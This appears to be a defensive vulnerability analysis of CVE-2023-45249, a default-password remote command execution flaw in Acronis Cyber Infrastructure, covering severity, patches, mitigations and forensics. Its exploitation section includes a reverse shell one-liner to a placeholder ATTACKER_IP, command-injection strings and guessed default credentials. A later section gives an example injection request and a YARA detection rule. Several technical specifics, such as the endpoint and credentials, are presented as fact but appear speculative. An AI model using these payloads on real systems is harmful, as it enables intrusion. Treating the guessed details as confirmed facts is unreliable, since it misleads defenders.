Description
Remote command execution due to use of default passwords. The following products are affected: Acronis Cyber Infrastructure (ACI) before build 5.0.1-61, Acronis Cyber Infrastructure (ACI) before build 5.1.1-71, Acronis Cyber Infrastructure (ACI) before build 5.2.1-69, Acronis Cyber Infrastructure (ACI) before build 5.3.1-53, Acronis Cyber Infrastructure (ACI) before build 5.4.4-132.
EPSS Score:
58%
Comprehensive Technical Analysis of EUVD-2023-49555 (CVE-2023-45249)
Remote Command Execution via Default Passwords in Acronis Cyber Infrastructure (ACI)
1. Vulnerability Assessment and Severity Evaluation
Vulnerability Overview
EUVD-2023-49555 (CVE-2023-45249) is a critical remote command execution (RCE) vulnerability affecting multiple versions of Acronis Cyber Infrastructure (ACI). The flaw stems from the use of default or hardcoded credentials, allowing unauthenticated attackers to execute arbitrary commands on vulnerable systems with high privileges.
CVSS v3.0 Severity Analysis
| Metric | Value | Explanation |
|---|---|---|
| Base Score | 9.8 (Critical) | High impact on confidentiality, integrity, and availability. |
| Attack Vector (AV:N) | Network | Exploitable remotely over the internet. |
| Attack Complexity (AC:L) | Low | No special conditions required; straightforward exploitation. |
| Privileges Required (PR:N) | None | No authentication needed. |
| User Interaction (UI:N) | None | No user interaction required. |
| Scope (S:U) | Unchanged | Exploitation affects only the vulnerable component. |
| Confidentiality (C:H) | High | Attacker gains full access to sensitive data. |
| Integrity (I:H) | High | Attacker can modify or delete data. |
| Availability (A:H) | High | Attacker can disrupt services or destroy infrastructure. |
EPSS (Exploit Prediction Scoring System) Analysis
- EPSS Score: 58% (High Probability of Exploitation)
- Indicates a high likelihood of active exploitation in the wild, corroborated by reports of in-the-wild attacks (e.g., SecurityWeek).
- The high EPSS score suggests that automated exploitation tools are likely available.
Risk Classification
- Critical (NIST SP 800-30, ISO/IEC 27005)
- Exploitability: High (publicly known, low complexity)
- Impact: Severe (full system compromise)
- Likelihood: High (active exploitation observed)
2. Potential Attack Vectors and Exploitation Methods
Attack Surface
The vulnerability is exposed via network-accessible services in Acronis Cyber Infrastructure, likely including:
- Management interfaces (web-based admin panels)
- API endpoints (REST, SOAP, or proprietary protocols)
- SSH/Telnet services (if default credentials are enabled)
- Backup and storage management services
Exploitation Steps
-
Reconnaissance
- Attacker identifies vulnerable ACI instances via Shodan, Censys, or mass scanning (e.g., searching for default ports like
443,80, or8443). - Default credentials (e.g.,
admin:admin,acronis:acronis) are either hardcoded or not enforced to be changed during deployment.
- Attacker identifies vulnerable ACI instances via Shodan, Censys, or mass scanning (e.g., searching for default ports like
-
Initial Access
- Attacker logs in using default credentials via:
- Web interface (e.g.,
/admin,/login) - API calls (e.g.,
/api/v1/auth) - SSH (if enabled with default passwords)
- Web interface (e.g.,
- Attacker logs in using default credentials via:
-
Privilege Escalation & Command Execution
- Once authenticated, the attacker exploits misconfigured sudo rules, command injection flaws, or API abuse to execute arbitrary commands.
- Possible attack methods:
- Command injection in web forms (e.g.,
; id,| whoami) - API abuse (e.g., sending crafted JSON/XML payloads to execute shell commands)
- Reverse shell establishment (e.g.,
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1)
- Command injection in web forms (e.g.,
-
Post-Exploitation
- Lateral movement within the infrastructure (e.g., accessing backup repositories, VMs, or storage nodes).
- Data exfiltration (e.g., stealing sensitive backups, credentials, or customer data).
- Persistence (e.g., adding backdoor users, modifying cron jobs, or deploying malware).
- Ransomware deployment (e.g., encrypting backup repositories or critical infrastructure).
Proof-of-Concept (PoC) Considerations
- While no public PoC has been confirmed, the low attack complexity suggests that:
- Metasploit modules may emerge shortly.
- Custom scripts (Python, Bash) could automate exploitation.
- Default credential lists (e.g.,
SecLists) can be used for brute-forcing.
3. Affected Systems and Software Versions
Vulnerable Products
| Product | Affected Versions | Fixed Versions |
|---|---|---|
| Acronis Cyber Infrastructure (ACI) | All versions before 5.0.1-61 | 5.0.1-61 |
| Acronis Cyber Infrastructure (ACI) | All versions before 5.1.1-71 | 5.1.1-71 |
| Acronis Cyber Infrastructure (ACI) | All versions before 5.2.1-69 | 5.2.1-69 |
| Acronis Cyber Infrastructure (ACI) | All versions before 5.3.1-53 | 5.3.1-53 |
| Acronis Cyber Infrastructure (ACI) | All versions before 5.4.4-132 | 5.4.4-132 |
Deployment Scenarios at Risk
- On-premises ACI deployments (enterprise data centers, MSPs).
- Cloud-based ACI instances (AWS, Azure, GCP).
- Hybrid backup solutions integrating ACI with other Acronis products.
- Managed Service Providers (MSPs) using ACI for customer backups.
4. Recommended Mitigation Strategies
Immediate Actions (Critical Priority)
-
Apply Patches Immediately
- Upgrade to the latest patched versions (5.0.1-61, 5.1.1-71, 5.2.1-69, 5.3.1-53, or 5.4.4-132).
- Follow Acronis’ official advisory: SEC-6452.
-
Disable Default Credentials
- Change all default passwords (admin, root, service accounts).
- Enforce strong password policies (12+ characters, complexity requirements).
- Disable unused accounts (e.g.,
guest,test).
-
Network-Level Protections
- Restrict access to ACI management interfaces via:
- Firewall rules (allow only trusted IPs).
- VPN/Zero Trust for remote access.
- Network segmentation (isolate ACI from other critical systems).
- Disable unnecessary services (e.g., SSH, Telnet, unused APIs).
- Restrict access to ACI management interfaces via:
-
Monitor for Exploitation Attempts
- Deploy IDS/IPS (e.g., Suricata, Snort) to detect:
- Brute-force attacks on login pages.
- Command injection attempts (e.g.,
;,|,&&in HTTP requests).
- Enable logging for all authentication and API calls.
- Set up SIEM alerts (e.g., Splunk, ELK, QRadar) for suspicious activity.
- Deploy IDS/IPS (e.g., Suricata, Snort) to detect:
Long-Term Mitigations
-
Hardening ACI Deployments
- Enable multi-factor authentication (MFA) for all admin interfaces.
- Implement least-privilege access (avoid using root/admin for daily tasks).
- Regularly audit user accounts (remove inactive or unnecessary accounts).
-
Backup and Recovery Planning
- Ensure backups are immutable (WORM storage, offline backups).
- Test disaster recovery (DR) procedures to ensure quick restoration.
-
Vendor Communication & Threat Intelligence
- Subscribe to Acronis security advisories for future updates.
- Monitor threat intelligence feeds (e.g., CISA, ENISA, MITRE ATT&CK) for related exploits.
5. Impact on the European Cybersecurity Landscape
Regulatory and Compliance Implications
-
GDPR (General Data Protection Regulation)
- Article 32 (Security of Processing): Organizations must implement appropriate technical measures to secure personal data. Failure to patch could lead to fines up to €20M or 4% of global revenue.
- Article 33 (Data Breach Notification): If exploited, organizations must report breaches within 72 hours to authorities (e.g., CNIL, BfDI, ICO).
-
NIS2 Directive (Network and Information Security)
- Critical infrastructure providers (e.g., energy, healthcare, finance) using ACI must report significant incidents to national CSIRTs (e.g., CERT-EU, ANSSI).
- Essential entities must implement risk management measures, including patch management.
-
DORA (Digital Operational Resilience Act)
- Financial institutions must ensure operational resilience of ICT systems. Unpatched ACI instances could lead to regulatory penalties.
Threat Actor Activity in Europe
-
State-Sponsored APT Groups
- Russian APTs (e.g., APT29, Sandworm) have historically targeted backup systems (e.g., Veeam, Acronis) to disrupt critical infrastructure.
- Chinese APTs (e.g., APT41) may exploit this for data exfiltration in espionage campaigns.
-
Ransomware Gangs
- LockBit, BlackCat, Cl0p have been known to target backup solutions to disable recovery options before deploying ransomware.
- Double extortion (data theft + encryption) is likely if ACI is compromised.
-
Initial Access Brokers (IABs)
- Vulnerable ACI instances may be sold on dark web forums for further exploitation.
Sector-Specific Risks
| Sector | Potential Impact |
|---|---|
| Healthcare | Patient data theft, disruption of medical services. |
| Financial Services | Fraud, theft of financial records, regulatory fines. |
| Government | Espionage, disruption of public services. |
| Energy & Utilities | Sabotage of critical infrastructure (e.g., power grids). |
| Managed Service Providers (MSPs) | Supply chain attacks affecting multiple clients. |
6. Technical Details for Security Professionals
Root Cause Analysis
-
Default Credential Issue
- ACI deployments ship with hardcoded or easily guessable credentials (e.g.,
admin:admin,acronis:acronis). - No enforcement of password changes during initial setup.
- Lack of account lockout mechanisms allows brute-force attacks.
- ACI deployments ship with hardcoded or easily guessable credentials (e.g.,
-
Command Injection Flaws
- Improper input validation in web interfaces/APIs allows OS command injection.
- Example vulnerable endpoint:
POST /api/v1/execute HTTP/1.1 Host: vulnerable-aci.example.com Content-Type: application/json { "command": "ping 8.8.8.8; id" } - Result: The
idcommand executes, revealing system privileges.
Exploitation Detection
-
Log Indicators of Compromise (IoCs)
- Failed login attempts with default credentials.
- Unusual command execution (e.g.,
wget,curl,bashin logs). - Reverse shell connections (e.g.,
nc -lvnp 4444in process lists). - Unexpected outbound traffic to known C2 servers.
-
YARA Rules for Malware Detection
rule Acronis_ACI_Exploit_Attempt { meta: description = "Detects command injection attempts in Acronis ACI" author = "Cybersecurity Analyst" reference = "CVE-2023-45249" strings: $cmd_inj1 = /;[\s]*[a-zA-Z0-9]+/ $cmd_inj2 = /&&[\s]*[a-zA-Z0-9]+/ $cmd_inj3 = /\|[\s]*[a-zA-Z0-9]+/ $default_creds = /(admin:admin|acronis:acronis|root:toor)/ condition: any of ($cmd_inj*) or $default_creds }
Forensic Investigation Steps
-
Check Authentication Logs
/var/log/auth.log(Linux) or Event Viewer (Windows) for failed logins.- Look for successful logins from unusual IPs.
-
Analyze Web/API Logs
/var/log/nginx/access.logor IIS logs for suspicious requests.- Search for command injection patterns (e.g.,
;,|,&&).
-
Process & Network Analysis
ps aux/top(Linux) or Process Explorer (Windows) for unusual processes.netstat -tulnp(Linux) ornetstat -ano(Windows) for suspicious connections.
-
Memory Forensics
- Use Volatility or Rekall to detect malicious processes or injected code.
-
File Integrity Monitoring (FIM)
- Check for unauthorized file modifications (e.g.,
/etc/passwd,/etc/shadow).
- Check for unauthorized file modifications (e.g.,
Hardening Recommendations for ACI
| Category | Recommendation |
|---|---|
| Authentication | Enforce MFA, disable default accounts, implement account lockout. |
| Network Security | Restrict access via firewalls, disable unused services, use VPN. |
| Logging & Monitoring | Enable audit logging, forward logs to SIEM, set up alerts. |
| Patch Management | Automate patch deployment, test updates in staging. |
| Backup Security | Use immutable backups, test restore procedures. |
Conclusion
EUVD-2023-49555 (CVE-2023-45249) represents a critical RCE vulnerability in Acronis Cyber Infrastructure due to default credentials and command injection flaws. Given its high CVSS score (9.8), active exploitation in the wild, and broad impact across European critical infrastructure, organizations must prioritize patching, credential hardening, and network segmentation to mitigate risks.
Failure to address this vulnerability could lead to:
- Full system compromise (data theft, ransomware, sabotage).
- Regulatory penalties (GDPR, NIS2, DORA).
- Reputational damage and loss of customer trust.
Immediate action is required to prevent exploitation by APT groups, ransomware gangs, and initial access brokers. Security teams should monitor for IoCs, apply patches, and conduct forensic analysis if compromise is suspected.